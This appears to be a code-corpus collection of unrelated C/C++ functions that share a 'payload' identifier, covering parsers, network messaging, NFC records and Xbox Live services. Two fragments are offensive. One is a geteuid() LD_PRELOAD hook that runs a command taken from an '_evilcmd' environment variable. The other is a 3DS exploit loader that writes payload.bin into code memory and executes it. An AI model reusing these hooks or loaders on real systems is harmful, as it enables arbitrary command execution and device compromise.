bool AddInterfaceEC::parsePayload(connector::EditingCommandData* ecd) { // addLink(baseID, documentID, compositeId, xmlLink) unsigned int argsLength = 0; std::string payload ((const char *)ecd->getPayload(), (size_t)ecd->getPayloadSize()); std::vector<std::string>* tokens = util::split(payload, ","); int token_cnt = tokens->size(); if (token_cnt > 3) { baseId = (*tokens)[0]; argsLength += baseId.length(); documentId = (*tokens)[1]; argsLength += documentId.length(); nodeId = (*tokens)[2]; argsLength += nodeId.length(); argsLength += 3; //por las comas xmlInterface = payload.substr(argsLength, payload.length() - argsLength); delete tokens; return true; } else { delete tokens; return false; } }
bool AddDocumentEC::parsePayload(connector::EditingCommandData* ecd) { // addDocument (baseID, {uri,ior}+) std::string payload ((const char *)ecd->getPayload(), (size_t)ecd->getPayloadSize()); std::vector<std::string>* tokens = util::split(payload, ","); if (tokens->size() > 1) { baseId = (*tokens)[0]; int index = 1; for (; index+1 < tokens->size(); index += 2) { documentUris.push_back(tokens->at(index )); documentIors.push_back(tokens->at(index+1)); } if (index < tokens->size()) { // HACK: Should fix util::split here... for ( ; index < tokens->size(); index++) { documentUris.push_back(tokens->at(index)); documentIors.push_back(""); } } delete tokens; return true; } else { delete tokens; return false; } }
pplx::task<xbox_live_result<xbox_social_relationship_result>> social_service_impl::get_social_relationships( _In_ const string_t& xboxUserId, _In_ xbox_social_relationship_filter filter, _In_ unsigned int startIndex, _In_ unsigned int maxItems ) { bool includeViewFilter = (filter != xbox_social_relationship_filter::all); string_t pathAndQuery = pathandquery_social_subpath( xboxUserId, includeViewFilter, xbox_social_relationship_filter_to_string(filter), startIndex, maxItems ); std::shared_ptr<http_call> httpCall = xbox::services::system::xbox_system_factory::get_factory()->create_http_call( m_xboxLiveContextSettings, _T("GET"), utils::create_xboxlive_endpoint(_T("social"), m_appConfig), pathAndQuery, xbox_live_api::get_social_relationships ); auto userContext = m_userContext; auto xboxLiveContextSettings = m_xboxLiveContextSettings; auto appConfig = m_appConfig; std::shared_ptr<social_service_impl> thisShared = shared_from_this(); auto task = httpCall->get_response_with_auth(m_userContext) .then([thisShared, userContext, xboxLiveContextSettings, appConfig, startIndex, filter](std::shared_ptr<http_call_response> response) { auto result = xbox_social_relationship_result::_Deserialize(response->response_body_json()); auto& socialRelationship = result.payload(); uint32_t itemSize = static_cast<uint32_t>(socialRelationship.items().size()); if (itemSize > 0) { unsigned continuationSkip = startIndex + itemSize; // Initialize the request params for get_next() socialRelationship._Init_next_page_info( thisShared, filter, continuationSkip ); } return utils::generate_xbox_live_result<xbox_social_relationship_result>( result, response ); }); return utils::create_exception_free_task<xbox_social_relationship_result>( task ); }
bool SetPropertyValueEC::parsePayload(connector::EditingCommandData* ecd) { //setPropertyValue(baseID, documentID, nodeId, propertyId, value) unsigned int argsLength = 0; std::string payload ((const char *)ecd->getPayload(), (size_t)ecd->getPayloadSize()); std::vector<std::string>* tokens = util::split(payload, ","); int token_cnt = tokens->size(); if (token_cnt > 4){ // Hack - should fix split baseId = (*tokens)[0]; argsLength += baseId.length(); documentId = (*tokens)[1]; argsLength += documentId.length(); nodeId = (*tokens)[2]; argsLength += nodeId.length(); propertyId = (*tokens)[3]; argsLength += propertyId.length(); argsLength += 4; //por las comas propertyValue = payload.substr(argsLength, payload.length() - argsLength); delete tokens; return true; } else { delete tokens; return false; } }
static char exe_trace(fdja_value *node, fdja_value *exe) { fdja_value *pl = payload(exe); fdja_value *trace = fdja_l(pl, "trace"); if (trace == NULL) trace = fdja_set(pl, "trace", fdja_array_malloc()); fdja_value *atts = attributes(node, exe); if (atts->child == NULL) { fdja_value *ret = fdja_l(exe, "payload.ret"); fdja_push(trace, ret ? fdja_clone(ret) : fdja_v("null")); } else if (atts->child && atts->child->sibling == NULL) { fdja_push(trace, fdja_lc(atts, "_0")); } else { fdja_push(trace, shrink_atts(atts)); } fdja_free(atts); return 'v'; // over }
void AddressTester::onConnected() { timer.stop(); emit lagTestFinished(time.msecsTo(QTime::currentTime())); if (testingConnectivity) { Encryptor encryptor(encryptionMethod, encryptionPassword); /* * A http request to Google to test connectivity * The payload is dumped from * `curl http://www.google.com --socks5 127.0.0.1:1080` * * TODO: find a better way to check connectivity */ std::string dest = Common::packAddress(Address("www.google.com", 80)); static const QByteArray expected = QByteArray::fromHex( "474554202f20485454502f312e310d0a486f73743a" "207777772e676f6f676c652e636f6d0d0a55736572" "2d4167656e743a206375726c2f372e34332e300d0a" "4163636570743a202a2f2a0d0a0d0a"); std::string payload(expected.data(), expected.length()); std::string toWrite = encryptor.encrypt(dest + payload); socket.write(toWrite.data(), toWrite.size()); } else { socket.abort(); } }
void _main() { Handle fileHandle = 0x0; Result ret = 0x0; u32 compressed_size = 0x0; u8* compressed_buffer = LINEAR_BUFFER; // load payload.bin from savegame ret = _FSUSER_OpenFileDirectly(fsHandle, &fileHandle, 0x0, 0x00000004, PATH_EMPTY, "", 1, PATH_CHAR, "/payload.bin", 13, 0x1, 0x0); if(ret)*(u32*)ret = 0xdead0001; ret = _FSUSER_ReadFile(&fileHandle, &compressed_size, 0x0, compressed_buffer, 0xA000); if(ret)*(u32*)ret = 0xdead0002; u8* decompressed_buffer = &compressed_buffer[(compressed_size + 0xfff) & ~0xfff]; u32 decompressed_size = lzss_get_decompressed_size(compressed_buffer, compressed_size); // decompress payload ret = lzss_decompress(compressed_buffer, compressed_size, decompressed_buffer, decompressed_size); // copy payload to text ret = _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)decompressed_buffer, decompressed_size); ret = gspwn((void*)(IRON_CODE_LINEAR_BASE + 0x00101000 - 0x00100000), decompressed_buffer, (decompressed_size + 0x1f) & ~0x1f); svc_sleepThread(300*1000*1000); // ghetto dcache invalidation // don't judge me int i, j;//, k; // for(k=0; k<0x2; k++) for(j=0; j<0x4; j++) for(i=0; i<0x01000000/0x4; i+=0x4) LINEAR_BUFFER[i+j]^=0xDEADBABE; // put framebuffers in linear mem so they're writable u8* top_framebuffer = &LINEAR_BUFFER[0x00100000]; u8* low_framebuffer = &top_framebuffer[0x00046500]; _GSPGPU_SetBufferSwap(*gspHandle, 0, (GSP_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0}); _GSPGPU_SetBufferSwap(*gspHandle, 1, (GSP_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0}); // un-init DSP so killing Ironfall will work _DSP_UnloadComponent(dspHandle); _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2); // run payload { void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000; u32* paramblk = (u32*)LINEAR_BUFFER; paramblk[0x1c >> 2] = IRON_GSPGPU_GXCMD4; paramblk[0x20 >> 2] = IRON_GSPGPU_FLUSHDATACACHE_WRAPPER; paramblk[0x48 >> 2] = 0x8d; // flags paramblk[0x58 >> 2] = IRON_GSPGPU_HANDLE; paramblk[0x64 >> 2] = 0x08010000; payload(paramblk, (u32*)(0x10000000 - 4)); } *(u32*)ret = 0xdead0008; }
inline void test_reuse_helper(Encoder encoder, Decoder decoder) { std::vector<uint8_t> payload(encoder->payload_size()); std::vector<uint8_t> data_in = random_vector(encoder->block_size()); sak::mutable_storage storage_in = sak::storage(data_in); encoder->set_symbols(storage_in); // Set the encoder non-systematic if(kodo::is_systematic_encoder(encoder)) kodo::set_systematic_off(encoder); while( !decoder->is_complete() ) { uint32_t payload_used = encoder->encode( &payload[0] ); EXPECT_TRUE(payload_used <= encoder->payload_size()); decoder->decode( &payload[0] ); } std::vector<uint8_t> data_out(decoder->block_size(), '\0'); decoder->copy_symbols(sak::storage(data_out)); EXPECT_TRUE(std::equal(data_out.begin(), data_out.end(), data_in.begin())); }
/*! \brief Deletes any details currently stored in the Smart Poster and re-initializes them by parsing the contents of the payload. */ void NdefNfcSpRecord::parseRecords() { initializeData(); QNdefMessage message = QNdefMessage::fromByteArray(payload()); qDebug() << "Sp Record Count: " << message.count(); foreach (const QNdefRecord &record, message) { qDebug() << "Sp Record type: " << QString(record.type()); qDebug() << "Sp Type name: " << record.typeNameFormat(); // URI if (record.isRecordType<QNdefNfcUriRecord>()) { if (recordUri) { delete recordUri; recordUri = NULL; } recordUri = new QNdefNfcUriRecord(record); qDebug() << "Sp URI: " << recordUri->uri().toString(); } // Title else if (record.isRecordType<QNdefNfcTextRecord>()) { QNdefNfcTextRecord* recordTitle = new QNdefNfcTextRecord(record); addTitle(*recordTitle); if (!recordTitleList.isEmpty()) { qDebug() << "Sp Title: " << recordTitleList.last().text(); } } // Image else if (record.typeNameFormat() == QNdefRecord::Mime && record.type().startsWith("image/")) { if (recordImage) { delete recordImage; recordImage = NULL; } recordImage = new NdefNfcMimeImageRecord(record); qDebug() << "Sp Image: " << recordImage->format(); } // Action else if (record.typeNameFormat() == QNdefRecord::NfcRtd && QString(record.type()) == "act") { if (recordAction) { delete recordAction; recordAction = NULL; } recordAction = new NdefNfcActRecord(record); qDebug() << "Sp Action: " << action(); } // Size else if (record.typeNameFormat() == QNdefRecord::NfcRtd && QString(record.type()) == "s") { if (recordSize) { delete recordSize; recordSize = NULL; } recordSize = new NdefNfcSizeRecord(record); qDebug() << "Sp Size: " << size(); } // Type else if (record.typeNameFormat() == QNdefRecord::NfcRtd && QString(record.type()) == "t") { if (recordType) { delete recordType; recordType = NULL; } recordType = new NdefNfcTypeRecord(record); qDebug() << "Sp Type: " << type(); } else { // This class handles all records defined in the Smart Poster // specification, so this case should never happen for a valid // Smart Poster record in the current version. qDebug() << "Sp: Don't know how to handle this record"; } }
void device_presence_change_subscription::on_subscription_created( _In_ uint32_t id, _In_ const web::json::value& data ) { real_time_activity_subscription::on_subscription_created(id, data); xbox_live_result<device_presence_change_event_args> devicePresenceChangeArgs; if (!data.is_null()) { auto initialPresenceRecord = presence_record::_Deserialize(data); if (!initialPresenceRecord.err()) { if (m_devicePresenceChangeHandler != nullptr) { for (const auto& deviceRecord : initialPresenceRecord.payload().presence_device_records()) { auto deviceType = deviceRecord.device_type(); m_devicePresenceChangeHandler( device_presence_change_event_args( m_xboxUserId, deviceType, true ) ); } } } else { if (m_subscriptionErrorHandler != nullptr) { m_subscriptionErrorHandler( xbox::services::real_time_activity::real_time_activity_subscription_error_event_args( *this, xbox_live_error_code::json_error, "JSON Deserialization Failure" ) ); } } } else { if (m_subscriptionErrorHandler != nullptr) { m_subscriptionErrorHandler( xbox::services::real_time_activity::real_time_activity_subscription_error_event_args( *this, xbox_live_error_code::json_error, "JSON Not Found" ) ); } } }
QByteArray UBPacket::packetize(void) { QByteArray src(((char*)(&m_srcID)), sizeof(m_srcID)); QByteArray des(((char*)(&m_desID)), sizeof(m_desID)); QByteArray payload(m_payload); return src + des + payload; }
int MQTTMessageArrived(void* context, char* topicName, int topicLength, MQTTClient_message* message) { std::vector<char> payload((char*)message->payload, (char*)message->payload + message->payloadlen); MQTTClient_freeMessage(&message); MQTTClient_free(topicName); GD::mqtt->messageReceived(payload); return 1; }
Collection<ByteArray> NotSpans::getPayload() { Collection<ByteArray> result; if (includeSpans->isPayloadAvailable()) { Collection<ByteArray> payload(includeSpans->getPayload()); result = Collection<ByteArray>::newInstance(payload.begin(), payload.end()); } return result; }
void DeleteActivitiesCommand::GetActivityList() { CommandTraceFunction(); MojObject payload(MojObject::TypeObject); m_client.SendRequest(m_activityListSlot, "com.palm.activitymanager", "list", payload); }
int logClient::process(ACE_CString* s){ ACE_SOCK_Stream logger; ACE_SOCK_Connector connector; ACE_INET_Addr addr(9876, "127.0.0.1"); if(connector.connect(logger, addr) == -1){ ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT("%p \n"), ACE_TEXT("open")), -1); } ACE_Log_Record record(LM_DEBUG, ACE_OS::time ((time_t *) 0), ACE_OS::getpid()); record.msg_data(s.c_str()); const size_t max_payload_size = 4 + 8 + 4 + 4 + ACE_Log_Record::MAXLOGMSGLEN + ACE_CDR::MAX_ALIGNMENT; ACE_OutputCDR payload(max_payload_size); payload<< record; ACE_CDR::ULong length = ACE_Utils::truncate_cast<ACE_CDR::ULong> (payload.total_length()); ACE_OutputCDR header (ACE_CDR::MAX_ALIGNMENT + 8); header << ACE_OutputCDR::from_boolean (ACE_CDR_BYTE_ORDER); header << ACE_CDR::ULong(length); iovec iov[2]; iov[0].iov_base = header.begin() -> rd_ptr(); iov[0].iov_len = 8; iov[1].iov_base = payload.begin() -> rd_ptr(); iov[1].iov_len = length; if (logger.sendv_n(iov, 2) == -1) ACE_ERROR_RETURN((LM_ERROR,"%p\n","send"), -1); /* */ ACE_Message_Block* header_p; auto_ptr<ACE_Message_Block> header(header_p); ACE_CDR::mb_align(header.get()); ACE_Message_Block* payload_p; ssize_t count = logger.recv_n(header->wr_ptr(),8); switch(count){ default: case -1: case 0: case 8: break; } header->wr_ptr(8); }
void presentation_message::check_format() const { if (length() < MIN_BODY_LENGTH) { throw std::runtime_error("bad message length"); } uint16_t sig_len = ntohs(buffer_tools::get<uint16_t>(payload(), 0)); if (sig_len == 0) { throw std::runtime_error("invalid sig_len"); } cert_type sig_cert = cert_type::from_der(payload() + sizeof(uint16_t), sig_len); if (length() < MIN_BODY_LENGTH + sig_len) { throw std::runtime_error("sig_len value mismatch"); } uint16_t enc_len = ntohs(buffer_tools::get<uint16_t>(payload(), sizeof(uint16_t) + sig_len)); if (enc_len == 0) { if (length() != MIN_BODY_LENGTH + sig_len) { throw std::runtime_error("unexpected data after null enc_len"); } } else { cert_type enc_cert = cert_type::from_der(payload() + MIN_BODY_LENGTH + sig_len, enc_len); if (cryptoplus::x509::compare(sig_cert.subject(), enc_cert.subject()) != 0) { throw std::runtime_error("certificate subject name do not match"); } if (cryptoplus::x509::compare(sig_cert.issuer(), enc_cert.issuer()) != 0) { throw std::runtime_error("certificate issuer name do not match"); } } }
Collection<ByteArray> OrSpans::getPayload() { Collection<ByteArray> result; SpansPtr theTop(top()); if (theTop && theTop->isPayloadAvailable()) { Collection<ByteArray> payload(theTop->getPayload()); result = Collection<ByteArray>::newInstance(payload.begin(), payload.end()); } return result; }
static void list_yama(YAMA *yama) { yama_item *item; for (item = yama_latest(yama); item; item = yama_previous(item)) { char buf[80]; time_t t = timestamp(item); strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M", gmtime(&t)); printf("%08lx\t%s\t%.*s\n", id(item), buf, size(item), payload(item)); } }
int geteuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }
void TransformObserver::attach( dp::sg::core::TransformSharedPtr const & t, ObjectTreeIndex index ) { DP_ASSERT( m_indexMap.find( index ) == m_indexMap.end() ); DirtyPayloadSharedPtr payload( DirtyPayload::create( index ) ); Observer<ObjectTreeIndex>::attach( t, payload ); payload->m_dirty = true; m_dirtyPayloads.push_back( payload.operator->() ); // Big Hack !! }
void ScriptEditorPane::MonitorInputProcessor::operator()(PGnotify *notification) { wxString channel(wxString(notification->relname, wxConvUTF8)); wxString payload(wxString(notification->extra, wxConvUTF8)); wxCommandEvent event(PQWX_ScriptAsyncNotification); if (payload) event.SetString(channel + _T(" ") + payload); else event.SetString(channel); owner->AddPendingEvent(event); }
/** * Create a raw vector that contains the content of the serialized message * * @param xp xternal pointer to the message */ RPB_FUNCTION_1(Rcpp::RawVector, METHOD(get_payload), Rcpp::XPtr<GPB::Message> message) { /* create a raw vector of the appropriate size */ int size = message->ByteSize(); Rcpp::RawVector payload(size); /* fill the array */ message->SerializePartialToArray(payload.begin(), size); return (payload); }
/*! Sets the contents of the text record to \a text. */ void QNdefNfcTextRecord::setText(const QString text) { if (payload().isEmpty()) setLocale(QLocale().name()); QByteArray p = payload(); quint8 status = p.at(0); bool utf16 = status & 0x80; quint8 codeLength = status & 0x3f; p.truncate(1 + codeLength); QTextCodec *codec = QTextCodec::codecForName(utf16 ? "UTF-16BE" : "UTF-8"); p += codec->fromUnicode(text); setPayload(p); }
/** * Execute if<xxx> command over all network devices * * @v payload Command to execute * @ret rc Exit code */ static int ifcommon_do_all ( int ( * payload ) ( struct net_device * ) ) { struct net_device *netdev; int rc = 0; /* Execute payload for each network device */ for_each_netdev ( netdev ) { if ( payload ( netdev ) != 0 ) rc = 1; } return rc; }
// ---------------------------------------------------------------------------- const xpcc::SmartPointer xpcc::TipcConnector::getPacketPayload() const { SmartPointer payload( this->receiver.getPacket().getSize() - sizeof(xpcc::Header) ); if( payload.getSize() > 0 ) { memcpy( payload.getPointer(), this->receiver.getPacket().getPointer() + sizeof(xpcc::Header), payload.getSize() ); } return payload; }
bool QtsPesPacket::isMpeg2Video() const { // Must have a video stream_id and payload must start with 00 00 01 if (!qtsIsVideoPesStreamId(getStreamId())) { return false; } else { const quint8* pl = payload(); const int size = payloadSize(); return size >= 3 && pl[0] == 0x00 && pl[1] == 0x00 && pl[2] == 0x01; } }
void UdpWriteModule::pingRemote(TokenT udpToken) { dbglog << "UdpWriteModule #" << mPeerId << " pinging remote " << *mRemoteEndpoint << " aka #" << mPeerId << " with token: " << udpToken; CharArray512T ca512; std::copy(udpToken.begin(), udpToken.end(), ca512.begin()); DataPayload payload(ID::NE_PING_UDP, 0, 0, udpToken.size(), ca512); onSend(payload); }
static void handle_pmt(Mpegts *ts, uint8_t *pkt) { uint8_t *psi = payload(pkt); uint16_t size = payload_size(psi,pkt); if(size < 9+4) return; if(!psi) return; if(psi[1] != 0) return; uint32_t length = ((psi[2] & 0xF) << 8) | psi[3]; if(length < 4 || length + 9 > size) return; psi += 9; fprintf(stderr, "PMT %d bytes\r\n", length); }
void presentation_message::check_format() const { if (length() < MIN_BODY_LENGTH) { throw std::runtime_error("bad message length"); } uint16_t sig_len = ntohs(buffer_tools::get<uint16_t>(payload(), 0)); if (sig_len == 0) { throw std::runtime_error("invalid sig_len"); } cert_type sig_cert = cert_type::from_der(payload() + sizeof(uint16_t), sig_len); if (length() < MIN_BODY_LENGTH + sig_len) { throw std::runtime_error("sig_len value mismatch"); } }
/*! Returns the encoding of the contents. */ QNdefNfcTextRecord::Encoding QNdefNfcTextRecord::encoding() const { if (payload().isEmpty()) return Utf8; QByteArray p = payload(); quint8 status = p.at(0); bool utf16 = status & 0x80; if (utf16) return Utf16; else return Utf8; }